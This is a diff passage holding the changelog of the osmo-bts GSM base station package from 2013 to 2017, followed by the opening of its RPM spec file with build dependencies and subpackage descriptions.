+Fri Jan 06 12:29:50 UTC 2017 - mardnh@gmx.de
+
+- Update to version 0.4.0.git1483698786.f376359:
+ * DTX AMR HR: fix inhibition
+ * fix: dyn ts: uplink measurement report
+ * Add copyright for .deb packages
+- run tests after the build
+
+-------------------------------------------------------------------
+Sun Dec 25 20:56:51 UTC 2016 - mardnh@gmx.de
+
+- Update to version 0.4.0.git1482415865.c2ecca6:
+ * DTX: move scheduling check inside repeat_last_sid
+ * DTX: further AMR SID cache fixes (lc15, sysmo)
+ * DTX: move ONSET detection into separate function
+ * DTX: send AMR voice alongside with ONSET
+ * build: be robust against install-sh files above the root dir
+ * configure: check for pkg-config presence
+ * octphy: reintroducing multi-trx support
+ * octopy: fixing renamed constant
+ * DTX: fix 1st RTP packet drop
+ * DTX: fix conversion from fn to ms
+ * Move copy-pasted array into shared header
+ * octphy: prevent mismatch between dsp-firmware and octphy headers
+ * rsl: improving the log output
+ * jenkins.sh: use osmo-build-dep.sh, log test failures
+ * DTX DL: use FSM for AMR
+ * TRX: fix building with latest DTX changes
+ * DTX: fix array size calculation
+ * msgb ctx: use new msgb_talloc_ctx_init() in various main()s
+ * DTX AMR - fix buffer length check
+ * Replace magic number with define
+ * Fix lc15 build
+ * jenkins-oct.sh: fix build: typo in deps path
+ * Extend RTP RX callback parameters
+ * DTX HR - fix array size calculation
+ * Fix DTX DL AMR SIDscheduling logic
+ * Add tools to check DTX operation
+ * 11bit RACH support for osmo-bts-litecell15
+ * DTX DL: split ONSET state handling
+ * Remove obsolete define
+ * DTX DL: add AMR HR support to scheduling check
+ * DTX fix ONSET handling
+ * Initialize parameters in osmo-trx for 11bit RACH
+ * dtx_check.gawk: Fix false-positives in DTX check
+ * Fix tests linking with libosmocodec
+ * DTX DL: tighten check for enabled operation
+ * DTX: wrap FSM signal dispatching
+ * Add libosmocodec for octphy build
+ * dtx_check.gawk: add check for repetitive SID FIRST
+ * fix 'osmo-bts-* --version' segfault
+ * Remove duplicated code
+ * Replace link_id constant with define
+ * l1sap: Fix use-after-free in loopback mode.
+ * vty: Add commands to manually activate/deactivate a channel.
+ * cosmetic: tweak README
+ * vty: Ensure to not use negative (error) sapi value
+ * octphy: multi-trx support: fix AC_CHECK order
+ * osmo-bts-trx: remove obsolete include of netif/rtp.h
+ * add jenkins_bts_trx.sh
+ * add jenkins_oct_and_bts_trx.sh
+ * jenkins: add jenkins_bts_model.sh
+ * trx: Add "maxdlynb" VTY command to control max TA for Normal Bursts.
+ * DTX DL AMR: rewrite FSM recursion
+ * Remove duplicated code
+ * cosmetic: vty prompts: add space after '#'
+ * Fix AGCH/PCH proportional allocation
+ * bursts test: test_pdtch: pre-init result mem
+ * TRX: prevent segfault upon phy init
+ * DTX: add explicit check if DTX enabled
+ * Save RTP metadata in Control Buffer
+ * osmo-bts-trx: fix lchan deactivation
+ * DTX: fix TS adjustment for ONSET
+ * Optionally use adaptive RTP jitter buffering
+ * DTX: don't always perform AMR HR specific check
+ * Fix some spelling errors
+ * Integrate Debian packaging changes
+
+-------------------------------------------------------------------
+Sun Oct 02 09:32:57 UTC 2016 - mardnh@gmx.de
+
+- Update to version 0.4.0.git1475228189.94fa252:
+ * doc: move dyn_pdch.msc to osmo-gsm-manuals.git
+ * error log: rsl.c: typo x2
+ * info log: l1sap.c: add '0x' to hex output
+ * fix compiler warning: msg_utils.c: fn_chk() constify arg
+ * cosmetic: pcu_sock.c: rename ts_is_pdch() to ts_should_be_pdch()
+ * cosmetic: clarify TCH/F_PDCH related naming and comments
+ * dyn PDCH: code dup: use conf_lchans_as_pchan()
+ * prepare dyn TS: split/replace conf_lchans_for_pchan()
+ * trx: Add EGPRS tables, sequences, and mappings
+ * code dup: join [rsl_]lchan_lookup() from libbsc and osmo-bts
+ * dyn TS: common TCH/F_TCH/H_PDCH implementation
+ * sysmo/oml.c: rename ts_connect() to ts_opstart()
+ * dyn TS: implement SysmoBTS specifics
+ * lc15/oml.c: rename ts_connect() to ts_opstart()
+ * dyn TS: implement litecell15 specifics
+ * comment typo: common/l1sap.c
+ * log typo: trx_sched_set_pchan()
+ * dyn TS: sysmo,lc15: chan_nr_by_sapi(): add missing assertion
+ * trx: Add EGPRS coding and decoding procedures
+ * trx: Enable EGPRS handling through burst lengths
+ * Activate PTCCH UL
+ * fix comment in common/l1sap.c, function name changed
+ * pcu_sock: use osmo_sock_unix_init() from libosmocore
+ * Fix dsp tracing at phy config
+ * octphy: fix build
+ * dyn TS, dyn PDCH: common/l1sap.c: properly notice PDCH
+ * dyn PDCH: trx l1_if.c: factor out trx_set_ts_as_pchan() from trx_set_ts()
+ * dyn PDCH: complete for trx: implement bts_model_ts_[dis]connect()
+ * dyn PDCH: trx l1_if.c: drop fixme, add comment
+ * trx: Fix coverity BER calculation NULL dereference
+ * Add .mailmap for mapping mail addresses in shortlog
+ * ci/spatch: Remove the "static" analysis handling
+ * Fill measurements data for L1SAP
+ * osmo-bts-trx: Fix PCS1900 operation
+ * osmo-bts-trx: log decoder bit errors as DEBUG, not NOTICE
+ * dyn TS: complete for TRX
+ * dyn TS: measurement.c: replace fixme with comment
+ * sysmo,lc15: ts_connect_as(): log error also for pchan_as == TCH/F_PDCH
+ * sysmo: fix dyn TS: Revert "Activate PTCCH UL" [in sysmobts]
+ * sysmo: ts_connect: log channel combination name instead of number
+ * Change interface in osmo-bts for 11 bit RACH
+ * log: l1sap: add 0x to hex output of chan_nr, 5 times
+ * dyn TS: measurement: use correct nr of subslots, rm code dup
+ * cosmetic: common ts_is_pdch()
+ * dyn TS: sysmo,lc15: ph_data_req: fix PDCH mode detection
+ * Fix ip.access style dyn PDCH, broken in 37af36e85eca546595081246aec010fa7f6fd0be
+ * common/rsl: move decision whether to chan act ack/nack to common function
+ * oct: Attempt to enable the Octphy for the osmo-bts-oct build
+ * octphy: fix build: Revert "octphy: fix for multiple trx with more than 1 dsp"
+ * octphy: fix build: Revert "octphy: add support for multiple trx ids"
+ * octphy: fix build with OCTSDR-OPENBSC-02.07.00-B708: name changed
+ * dyn TS: if PCU is not connected, allow operation as TCH
+ * Update parameters in osmo-bts-sysmo for 11bit RACH
+ * log: sysmo,lc15: tweak log about sapi_cmds queue
+ * log causing rx event for lchan_lookup errors
+ * heed VTY 'line vty'/'bind' command
+ * DTX: fix last SID saving
+ * DTX: fix SID repeat scheduling
+ * DTX: fix SID logic
+ * lc15, sysmo: Use SID_FIRST_P1 to initiate DTX
+ * octphy: Fixing missing payload type in ph. chan. activation
+ * octphy: Fixing band selection for ARFCN 0
+ * sysmobts_mgr, lc15bts_mgr: fix tall context for telnet vty
+ * DTX: check Marker bit to send ONSET to L1
+ * DTX: remove misleading comment
+ * LC15: Clarify msgb ownership / fix memory leaks
+
+-------------------------------------------------------------------
+Sun Jul 17 17:56:22 UTC 2016 - mardnh@gmx.de
+
+- Update to version 0.4.0.git1468702853.4355021:
+ * Fix ocmo-bts-octphy interaction with OsmoPCU
+ * pcuif: Do not bump the PCU_IF version
+ * octphy: Use the event defaults as base
+ * Fix copy-paste issue
+ * Update configuration examples
+ * misc: Attempt to fix make distcheck and dumping docs
+ * octphy: Enable TCH/H mode and begin testing
+ * Fix SI2ter scheduling
+ * Add explicit check for SI2quater index and count
+ * Ignore binary and backup files
+ * Add utility to check proper scheduling of SI
+ * octphy: add missing include to fix the build
+ * Fix typo in error message
+ * octphy: use octasic's routines for debug output
+ * octphy: add support for multiple trx ids
+ * octphy: add example configuration with 2 trx
+ * octphy: fix for multiple trx with more than 1 dsp
+ * LC15: ignore build byproducts
+ * LC15: add stubs for phy link/instance defaults
+ * LC15: properly initialize unmapped phy instances
+ * debian: Create initial packaging for the osmo-bts-trx
+ * misc: Ignore files generated by a debian packaging build
+ * jenkins: Add the build script from jenkins here
+ * jenkins: Add the build script from jenkins here
+ * Ensure TRX invariant
+ * octphy: Update outdated config param name in error message.
+ * Use libosmocore function for uplink measurements
+ * Fix debug output
+ * Fix RTP timestamps in case of DTX
+ * Add DTXd support for sysmoBTS and LC15
+ * Use libosmocodec for AMR RTP
+ * octphy: Use the app. info. defaults as base
+ * Close TRX session before opening new one
+ * Fix debug output
+ * DTXd: store/repeat last SID
+ * DTXd: store/repeat last SID
+ * DTXu: mark beginning of speech burst in RTP
+ * l1sap.h: fix wrong L1SAP_FN2PTCCHBLOCK calculation according to TS 45.002 Table 6
+ * common/abis.c: fix 100% CPU usage after disconnecting OML/RSL link (Bug #1703)
+ * sysmobts: Add the barebox boot state reservation
+ * sysmo: add L3 handle to l1prim messages
+ * LC15: Bring back DSP trace argument
+ * LC15: Hardware changes: - Change system devices path - Remove obsoleted sensors and add new sensors - Change TRX and sensors numbering to 0,1 instead of 1,2 (JFD)
+ * LC15: TRX nominal TX power can be used from EEPROM or from BTS configuration
+ * Fix OML activation
+ * TRX: Add vty command to power on/off transceiver
+ * pcu_sock: add pcu_connected() to query PCU availability
+ * tests/stubs.c: remove unused stubs
+ * fix typo in error message ('at lEast')
+ * oml, Set Chan Attr: treat unknown PCHAN types as error
+ * dyn PDCH: rsl rx dchan: also log ip.access message names
+ * dyn PDCH: cosmetic: lchan_to_GsmL1_SubCh_t(): add case for TCH_F_PDCH
+ * doc: add ladder diagram on dynamic PDCH, add msc-README
+ * add missing DSUM entry to bts_log_info_cat
+ * TRX: add configuration example
+ * Add .gitreview
+ * fix compiler warning: printf format for sizeof()
+ * fix compiler warning: add missing case (PHY_LINK_CONNECTING)
+ * fix two compiler warnings: add two opaque struct declarations
+ * dyn PDCH: add bts_model_ts_connect() and _disconnect() stubs
+ * dyn PDCH: conf_lchans_for_pchan(): handle TCH/F_PDCH
+ * dyn PDCH: pcu_tx_info_ind(): handle TCH/F_PDCH in PDCH mode
+ * dyn PDCH: chan_nr_by_sapi(): handle TCH/F_PDCH according to ts->flags
+ * dyn PDCH: implement main dyn PDCH logic in common/
+ * dyn PDCH: sysmo-bts/oml.c: add ts_connect_as(), absorbing ts_connect() guts
+ * dyn PDCH: sysmo: handle TCH/F_PDCH init like TCH/F
+ * dyn PDCH: complete for sysmo-bts: implement bts_model_ts_*()
+ * error log: two minor clarifications
+ * debug log: log lchan state transitions
+ * debug log: log TS pchan type on connect
+ * DTX: add support for AMR/HR
+ * Move copy-pasted code into common part
+ * Use libosmocodec functions for AMR
+ * Use error values instead of number for RSL error
+ * Clarify logging message
+ * fix lc15 build: put src/common/libbts.a left of -losmogsm
+ * lc15: add L3 handle to l1prim messages
+ * dyn PDCH: lc15: chan_nr_by_sapi(): handle TCH/F_PDCH according to ts->flags
+ * dyn PDCH: lc15: add ts_connect_as(), absorbing ts_connect() guts
+ * dyn PDCH: lc15: handle TCH/F_PDCH init like TCH/F
+ * dyn PDCH: lc15: complete for litecell15-bts: implement bts_model_ts_*()
+ * dyn PDCH: safeguard: exit if nothing pending in dyn_pdch_ts_disconnected()
+ * vty: install orphaned trx nominal power command
+ * fix compiler warnings: include bts_model.h in phy_link.c
+ * fix compiler warning: remove useless 'static' storage class for struct decl
+ * fix compiler warning: remove unused variable 'i' in calib_verify()
+ * Make get_lchan_by_chan_nr globally available
+ * DTXu: move copy-pasted code to common part
+ * Remove duplicated nibble shift code
+ * TRX: add Uplink DTX support for FR/HR
+ * sysmobts: screnrc/systemd-service: Use osmo-bts-sysmo instead of sysmobts
+ * Mark array as static const
+ * sysmobts: Fix eeprom padding before gpg key
+ * cosmetic: osmo-bts-trx: add comment, fix comment typo
+ * log: osmo-bts-trx: change access burst logs to DEBUG level
+ * log: osmo-bts-trx: change PDTCH block logs to DEBUG level
+ * osmo-bts-trx: init OML only once by sending AVSTATE_OK with OPSTATE_ENABLED
+ * sysmobts: dump PRACH and PTCCH parameters
+
+-------------------------------------------------------------------
+Sat Feb 20 21:54:56 UTC 2016 - mardnh@gmx.de
+
+- Update to version 0.4.0.git1455563767.94bb376:
+ + sysmobts: Clarify msgb ownership / fix memory leaks
+ + fix large amount of compiler warnings in common and sysmobts code
+ + l1sap: Whitespace fixes.
+ + sysmobts: add missing break statement in l1if_handle_ind()
+ + sysmobts-v2/eepromreader: Add userspace program to read EEPROM
+ + sysmobts-calib: Warn about firmware and header mismatch
+ + fix some format specifiers
+ + print a NOTICE message if lchan not activ in get_active_lchan_by_chan_nr()
+ + LAPDm: Use T200 settings from OML rather than libosmocore defaults
+ + Add support for Octasic OCTSDR-2G GSM PHY
+ + OCTPHY: Replace '-lortp' with the proper pkg-config/autofoo version
+ + OCTPHY: Ensure we write the phy-netdev parameter
+ + OCTPHY: Exit gracefully if config file specifies no phy-netdev
+ + OCTPHY: Fix various memory leaks and add comments on msgb ownership
+ + OCTPHY: Block PHY indications until it is confirmed open
+ + OCTPHY: Print NOTICE message if we receive supervisory frame
+ + OCTPHY: Implement command re-transmission after message loss
+ + OCTPHY: Obtain information from PHY and expose it in VTY
+ + TRX: remove obsolete get_mac() function
+ + TRX: Add stub bts_model_change_power() function
+ + sysmoBTS: port 'press Ctrl+C twice for immediate exit' from osmo-bts-trx
+ + TRX: some comments dscribing the scheduler.[ch] API
+ + TRX: mark scheduler data structures as 'const'
+ + TRX: use const for dummy and fcch burst definitions
+ + TRX: Reduce magic numbers, introduce GSM_HYPERFRAME for 2715648
+ + move 'GSM_FR_BYTES' and related definitiions to common part
+ + use existing #define for FR/EFR frame length (33/31)
+ + TRX: make trx_chan_desc static, it is not used externally
+ + TRX: schedule: remove dead code
+ + TRX: scheduler: whitespace cleanup
+ + TRX: replace some more 2715648 magic numbers with GSM_HYPERFRAME
+ + TRX: Don't use magic numbers when we have #defines
+ + TRX: Don't hard-code 23 bytes, use GSM_MACBLOCK_LEN
+ + TRX: the L1SAP queue contains mac blocks, not bursts (cosmetic)
+ + Fix T200 default values
+ + Make T200 default initialization even more robust
+ + OCTPHY: Don't have files in EXTRA_DIST that don't exist (anymore)
+ + ABIS: Support for multiple RSL connections
+ + common/support.c: Remove unused file
+ + Add new bts_model_ctrl_cmds_install()
+ + merge bts-specific main function into common/main.c:bts_main()
+ + OCTPHY: fix 'make dist' (missing header files)
+ + main: Return something from the method
+ + Fix T200 default values
+ + lapdm: Add DEBUGP statement about T200 values being set for lchan
+ + OML: Ignore T200 settings by BSC for now
+ + octphy: Look-up the right timeslot and then the logical chan
+ + Revert "oml: temporary debug hack"
+ + abis: Add a queue of OML messages
+ + fix compile warnings
+ + L1SAP: Ensure we don't process MPH-TIME.indication on TRX != C0
+ + fix migration of check_for_ciph_cmd() from sysmobts to l1sap
+ + TRX: factor out the scheduler from remaining code
+ + TRX: split scheduler in generic part and backend part
+ + TRX: call trx_loop_sacch_clock from TRX scheduler backend
+ + TRX: scheduler: don't access l1h->config from scheduler
+ + TRX: scheduler: Move trx_sched_clock() to scheduler_trx.c
+ + TRX: scheduler: Remove dependency to trx_if.[ch]
+ + TRX: Move scheduler to src/common
+ + Introduce new phy_link and phy_instance abstraction
+ + don't touch OML MO when PHY link is established
+ + port sysmobts to phy_link/phy_instance abstraction
+ + abis.c: Fix segfault on OML link loss
+ + sysmobts: make clock calibration eeprom default (again?)
+ + LC15: Add initial support for the NuRAN Wireless Litecell 1.5
+ + LC15: Disable DSP trace flags by default
+ + LC15: use talloc pool for msgb and ortp library
+ + LC15: configure.ac: use --enable-litecell15 insteda of --enable-litecell15-bts
+ + LC15: configure.ac: Allow specifying an alternate include-dir
+ + LC15: port litecell 1.5 support to recent osmo-bts master
+ + LC15: Add example configuration file for Litecell 1.5
+ + LC15: cosmetic whitespace fixes
+ + LC15: Fix printed msgq file names in error messages
+ + LC15: fix compiler warning against more recent libosmovty
+ + introduce + use new generic vty_get_phy_instance()
+ + sysmobts/LC15: Fix startup-time DSP trace flage configuration
+ + LC15: Remove unused clk_use_eeprom and clk_src fields
+ + LC15/sysmobts: Don't try to refer to fl1h from PHY config
+ + LC15: Remove clk_cal (another unused struct member)
+ + LC15: Call l1if_reset() after l1if_open()
+ + move auto-band configuration commands to common/vty.c
+ + declare pcu_direct in pcu_if.h
+ + make PCU socket and telnet port configurable
+ + Use consistent naming of binaries accross BTS models
+ + LC15: Fix 'make dist' (missing include files)
+ + LC15: set nominal transmit power of 37dBm for all TRX
+ + LC15: remove bogus check_for_ciph_cmd() copy
+ + sysmobts_vty: Fix null-check for pinst
+ + use unsigned int to compare wih ARRAY_SIZE
+ + scheduler: Fix ARRAY_SIZE() in trx_sched_init()
+
+-------------------------------------------------------------------
+Sat Dec 26 23:13:58 UTC 2015 - mardnh@gmx.de
+
+- Update to version 0.4.0.git1449483816.e28a20a:
+ + amr: Catch up with the amr_mode changes
+ + amr: Catch-up for the non-RTP mode after amr rename
+ + configure.ac: Only require libgps if building for sysmoBTS
+ + configure.ac: Depend on libosmotrau 0.3.2 (ortp statistics)
+ + configure.ac: Add subdir-objects to suppress warnings
+ + configure.ac: Better description for --enable-sysmocom-bts and --enable-trx
+ + Revert "configure.ac: Add subdir-objects to suppress warnings"
+ + Don't blindly link against '-lortp' but use pkg-config for that
+ + TRX: catch up with trhe amr_mode naming changes
+ + tests/Makefile.am: Don't use sysmobts SUBDIRS twice
+ + cope with 'struct gsm_bts' without a tsc member
+ + sysmobts: fix ph_data_req() msgb handling + alignment
+ + sysmobts: Dont recycle PHY primitive for L1SAP in PH-DATA.ind
+ + common/rsl.c: The presence of a valied measurement result is DEBUG
+ + l1sap: Ensure we only pass PHY primitives of active lchans
+ + osmo-bts-sysmo: Disable DSP trace flags by default
+ + use talloc pool for msgb and ortp library
+ + sysmobts: support eeprom map version 2
+ + sysmobts: Catch up with the API changes and specify the version
+
+-------------------------------------------------------------------
+Tue Sep 22 18:33:58 UTC 2015 - mardnh@gmx.de
+
+- Update to version 0.3.0.git1442932914.f1fb0fa:
+ + update README to bring it more in sync with reality.
+ + audio/rsl: Include the connection identifier in the DLCX ind
+ + audio/rsl: Include statistics for one call
+ + audio/rsl: Honor the speech mode and don't send anything
+ + Add BCCH message to PH-/MPH-/TCH-SAP interface
+ + l1sap: Split ph_data_req() into smaller parts
+ + Add RACH message to PH-/MPH-/TCH-SAP interface
+ + l1sap: Use L1SAP_IS_CHAN_RACH instead of magic number 0x88
+ + l1sap: fix coding style
+ + l1sap: fix missing include file and resulting compiler warning
+ + l1sap: RACH: Detect hand-over even on TRX0
+ + l1sap: correctly set chan_nr on PRIM_PH_RACH / INDICATION
+ + l1sap: sysmobts: remove obsolete get_lapdm_chan_by_hl2()
+ + Add PCH/AGCH message to PH-/MPH-/TCH-SAP interface
+ + l1sap: Add a warning about assuming BS_AG_BLKS_RES=1
+ + Add PDCH messages to PH-/MPH-/TCH-SAP interface
+ + l1sap: additional comments explaining l1sap changes in l1_if.c
+ + Add TIME (MPH_INFO) IND messages to PH-/MPH-/TCH-SAP interface
+ + l1sap: Re-introduce more correct RACH slot counting
+ + Relace bts_model_get_time() by get_time() at common part
+ + Move chan act/rel/modify from bts_model to PH-/MPH-/TCH-SAP interface
+ + l1sap: re-introduce a comment that was lost during l1sap merge
+ + Add TCH messages to PH-/MPH-/TCH-SAP interface
+ + l1sap: Use {data,empty}_req_from_l1sap() and avoid code duplication
+ + l1sap: Avoid compiler warnings regarding uninitialized nmsg
+ + Add SDCCH/SACCH/FACCH messages to PH-/MPH-/TCH-SAP interface
+ + sysmobts/l1_if: Sacch/Sdcc/Facch are handled in l1sap/core
+ + l1sap: Port code to new ciphering handling
+ + Add MEAS (MPH_INFO) IND message to PH-/MPH-/TCH-SAP interface
+ + sysmobts: Clean up transitions for lchan cipher state
+ + Send primitives at PH-/MPH-/TCH-SAP interface via GSMTAP
+ + Move gsmtap VTY commands from osmo-bts-sysmo to common part
+ + Add gsmtap option to command line to main.c of osmo-bts-sysmo
+ + Remove obsolete gsmtap handling from osmo-bts-sysmo part.
+ + Move detection of handover frames from sysmo-bts code to common code
+ + move MS power control handling from sysmobts to common part
+ + fix: make sysmobts tests only when sysmobts is enabled
+ + Fix: Retrieve ARFCN (from OML) for TRX other than C0
+ + Fix: Process all TRX on GSM Time indication, not only C0
+ + Fix: Call e1inp_vty_init() before reading config file
+ + Change to new structure of multirate at gsm_data_shared.h
+ + TRX: Introduce osmobts-trx, a layer 1 implementation for OpenBTS tranceivers
+ + Add test code for testing GSM burst transcoding
+ + TRX: On negative response of critical commands, shutdown BTS
+ + ABIS: Introduce bts_model_abis_close to indicate ABIS link failure.
+ + TRX: Power down tranceiver and reset scheduler, if abis link is lost
+ + TRX: Completed transcoding of TCH with reordering Table 2 of TS 05.03
+ + Add test routing to test transcoding of TCH FR / FACCH frames
+ + Fix: Check right result on bursts_test
+ + TRX: Fixes and improvements of scheduler
+ + TRX: Use received TRX clocks to determine availablility of tranceiver
+ + TRX: Fix, never send confirm for DEACT SACCH request (TS 05.08 4.6)
+ + TRX: Minor fixes, especially handle TOA of RACH correctly
+ + TRX: Fixed swapped stealing bits
+ + TRX: Completed TCH/F full rate support
+ + TRX: Allow transcoding of TCH FR with MSB first (RTP) or LSB first (E1)
+ + TRX: Lost TCH frame detection of omitted bursts from tranceiver
+ + TRX: PDTCH (GPRS) works now
+ + TRX: Add test code for PDTCH transcoding
+ + TRX: Detect missing received bursts and fill them with zero-sbits
+ + TRX: By default, send 20 frames in advance to tranceiver
+ + TRX: Cleanup of channel transcoding
+ + TRX: Replaced GSM 06.10 ordering table by table in libosmocodec
+ + TRX: Ciphering
+ + TRX: Fix of SCH burst data
+ + TRX: Fixes to TRX interface
+ + TRX: Improved handling of clock indications.
+ + TRX: Implementation of MS power and timing advance loops
+ + TRX: Out of range primitives found in downlink queue are not an error
+ + TRX: Use link timeout value from BSC via OML attribute.
+ + TRX: Code cleanup, prepare for other codecs than GSM full rate
+ + TRX: Add support for EFR transcoding
+ + Get RSSI from received uplink data and send to PCU
+ + TRX: Support for AMR full speech
+ + TRX: Add AMR Payload handling
+ + TRX: Support for TCH/H and GSM half rate transcoding
+ + TRX: Support for AMR half speech
+ + TRX: Reset ciphering state when closing channel
+ + TRX: Add VTY options to enable and disable SETTSC and SETBSIC
+ + Allow one or more TRX to configure via VTY
+ + TRX: Fix: Cleanly free TRX instances during initialization in case of an error
+ + TRX: Fixed typos tranceiver -> transceiver
+ + TRX: Report measurements
+ + TRX: Clear lchan state when resetting TRX
+ + TRX: Handover access burst support
+ + TRX: Use correct slot type for GSM_PHCAN_BCCH
+ + TRX: Disable handover burst detection when closing channel during detection
+ + TRX: Process real time scheduling option is now similar to sysmobts
+ + Add test case for successful handover and unsuccessful handover
+ + TRX: Set ciphering to an initial state when activating channel
+ + TRX: If no cipher algorithm is given, or if it is a5/0, reset cipher state
+ + TRX: No need to set mode and cipher for PDCH
+ + TRX: Fixup ciphering state names after rebasing
+ + TRX: Add bts_model_trx_close to TRX implementation
+ + TRX: Close TRX (shutdown all active channels) on ABIS link failure
+ + TRX: Do not send burst on IDLE channels at TRX != C0
+ + trx: Add option to set transmit power reduction via OML (BSC)
+ + TRX: Fixed chan_nr for SACCH/8(7) at scheduler
+ + TRX: Changed logging of unserved primitives from LOGL_NOTICE to LOGL_INFO
+ + Allow TRX 0..254 at VTY, even if less TRX are available
+ + tests: make tests for sysmobts conditional
+ + build: Use AM_CPPFLAGS in Makefile.am
+ + TRX: fix some typos in comments
+ + TRX: Add VTY option to allow setting RTS advance in frames
+ + TRX: Free bust buffer memory to when changing lchan type
+ + TRX: Activate LCHAN of CCCH when CCCH is configured on time slot
+ + trx: Set lchan inactive, only if the dedicated channel is deactivated
+ + TRX: Show which TRX does not respond or rejects a command
+ + TRX: Check if Transceiver indicates an out of range clock
+ + TRX: Remove extra TCH/HS puncturing value
+ + trx: Implement BER calculations.
+ + tests: Update bursts_test to accommodate BER calculations.
+ + trx: More logging for voice frame decoding functions.
+ + trx: Fix typo in a log message.
+ + trx: Remove unused variables.
+ + trx: Cleanup unused parts of loops.c
+ + trx: Assume 100% BER if total decoded bits is 0 in l1if_process_meas_res()
+ + trx: Send POWERON/OFF commands to osmo-bts only for the first channel.
+ + trx: fix potential use of uninitialized toa variable.
+ + tests: Update busrsts_test build.
+ + fixup tests after bts_model_adjst_ms_pwr
+ + make osmo-bts-trx provide bts_model_adjst_ms_pwr()
+ + TRX: Add missing call to abis_init()
+
+-------------------------------------------------------------------
+Tue Jul 14 18:08:46 UTC 2015 - mardnh@gmx.de
+
+- Update to version 0.3.0.git1436860556.a7c276b:
+ + sysmo-bts: Use correct boundaries of L1 msg when forwarding to L1 proxy
+ + Add header file of PH-/MPH-/TCH-SAP interface to common part of osmo-bts
+ + write_queue: Check the result of osmo_wqueue_enqueue and free
+ + meas: Do not send incomplete measurement reports
+
+-------------------------------------------------------------------
+Sun Feb 15 20:58:51 UTC 2015 - mardnh@gmx.de
+
+- Update to version 0.3.0.git1423171973.b631bd2:
+ + cbch: Speculative change to not change CHAN ACK for CBCH
+ + msg: Generalize the message structure test
+ + sysmobts: Begin with calib control from the sysmobts manager
+ + sysmobts: Copy more of l1if_rf_clock_info_reset into the CTRL code
+ + sysmobts: Use the ctrl interface for calibration
+ + sysmobts: The correction for GPS is in the reverse direction
+ + sysmobts: Initial version to use libgps to determine FIX state
+ + sysmobts: Start the calibration the first time the link is up
+ + sysmobts: Create a calibration loop that will be run
+ + sysmobts: Improve some log messages for calib control
+ + misc: Fix up testcase after 5a03e129a633637d0a6b57b3b5aa6d6596b938fe
+ + sysmobts: Check mgr->calib.bts_conn for NULL
+ + power/sysmobts: Add a manual ms power level control
+ + power: Make it possible to force a power level
+
+-------------------------------------------------------------------
+Tue Dec 30 20:25:34 UTC 2014 - mardnh@gmx.de
+
+- Update to version 0.3.0.git1419943502.8fc2630:
+ + sysmobts: Include the serial number in the find response
+ + Initial CBCH support
+ + CBCH: Implement CBCH block segmentation and RSL_MT_SMS_BC_CMD
+ + SMS-CB: Use GSM412_ #defines from libosmocore rather than our own
+ + SMS-CB: use gsm412_block_type from libosmocore
+ + SMS-CB: Use GSM412_SEQ_NULL_MSG rather than 0xf
+ + SMS-CB: Clean up + centralize generation of NULL block
+
+-------------------------------------------------------------------
+Thu Dec 18 19:26:55 UTC 2014 - mardnh@gmx.de
+
+- Update to version 0.3.0.git1418757748.c265bef:
+ + bts: Move BTS and children into the enabled state after opstart
+ + sysmobts: Actions can be executed in all levels
+ + sysmobts: Add an option to stop the systemd sysmobts.service
+ + eeprom: Fix brown paper bag introduced a long while ago
+ + sysmobts: Don't list non integer parameters in the help
+ + sysmobts: Read the clock calibration from another place
+ + sysmobts: Remove unused global variables
+ + sysmobts: Add "normal" actions to execute
+ + sysmobts: Comment out the varpoware options that are not implemented
+ + sysmobts: Add slave on/off action for the sysmoBTS2050
+
+-------------------------------------------------------------------
+Fri Sep 12 19:26:56 UTC 2014 - mardnh@gmx.de
+
+- update to version 0.3.0+git.1409175947.9f22fcf
+- specfile cleanup
+
+-------------------------------------------------------------------
+Tue Apr 15 07:59:51 UTC 2014 - mardnh@gmx.de
+
+- update to version 0.3.0+git.1390316846.72ba533
+
+-------------------------------------------------------------------
+Fri Aug 23 20:09:10 UTC 2013 - mardnh@gmx.de
+
+- initial package written from scratch
+
diff --git a/rpm-local/spec/osmo-bts/osmo-bts.spec b/rpm-local/spec/osmo-bts/osmo-bts.spec
new file mode 100644
index 0000000..c6158aa
--- /dev/null
+++ b/rpm-local/spec/osmo-bts/osmo-bts.spec
@@ -0,0 +1,116 @@
+#
+# spec file for package osmo-bts
+#
+# Copyright (c) 2017, Martin Hauke <mardnh@gmx.de>
+#
+# All modifications and additions to the file contributed by third parties
+# remain the property of their copyright owners, unless otherwise agreed
+# upon. The license for this file, and modifications and additions to the
+# file, is the same license as for the pristine package itself (unless the
+# license for the pristine package is not an Open Source License, in which
+# case the license is the MIT License). An "Open Source License" is a
+# license that conforms to the Open Source Definition (Version 1.9)
+# published by the Open Source Initiative.
+
+# Please submit bugfixes or comments via http://bugs.opensuse.org/
+#
+
+Name: osmo-bts
+Version: 1.2.0.46
+Release: 0
+Summary: Osmocom BTS-Side code (Abis, scheduling)
+License: AGPL-3.0-or-later AND GPL-2.0-only
+Group: Productivity/Telephony/Servers
+URL: https://osmocom.org/projects/osmobts/wiki/Wiki
+Source: %{name}-%{version}.tar.xz
+BuildRequires: autoconf
+BuildRequires: automake
+BuildRequires: libtool
+BuildRequires: pkgconfig >= 0.20
+BuildRequires: systemd-rpm-macros
+BuildRequires: pkgconfig(libosmoabis) >= 0.6.0
+BuildRequires: pkgconfig(libosmocodec) >= 1.2.0
+BuildRequires: pkgconfig(libosmocoding) >= 1.2.0
+BuildRequires: pkgconfig(libosmocore) >= 1.2.0
+BuildRequires: pkgconfig(libosmoctrl) >= 1.2.0
+BuildRequires: pkgconfig(libosmogsm) >= 1.2.0
+BuildRequires: pkgconfig(libosmotrau) >= 0.6.0
+BuildRequires: pkgconfig(libosmovty) >= 1.2.0
+### FIXME: DependencyHACK to include osmocom/gprs/protocol/gsm_04_60.h
+BuildRequires: pkgconfig(libosmogb)
+
+%description
+Osmocom BTS-Side code (A-bis, scheduling).
+
+%package -n osmo-bts-virtual
+Summary: Virtual Osmocom GSM BTS (no RF hardware; GSMTAP/UDP)
+License: GPL-2.0-or-later
+Group: Productivity/Telephony/Utilities
+
+%description -n osmo-bts-virtual
+This version of OsmoBTS doesn't use actual GSM PHY/Hardware/RF, but
+utilizes GSMTAP-over-UDP frames for the Um interface. This is useful
+in fully virtualized setups e.g. in combination with OsmocomBB virt_phy.
+
+%package -n osmo-bts-omldummy
+Summary: Osmocom CI: Bring up only OML without RSL
+License: GPL-2.0-or-later
+Group: Productivity/Telephony/Utilities
+
+%description -n osmo-bts-omldummy
+This is used only in integration testing, where in the TTCN-3 testsuite
+we currently have no A-bis OML implementation, but only a RSL one.
+
+%prep
+%setup -q
+
+%build
+echo "%{version}" >.tarball-version
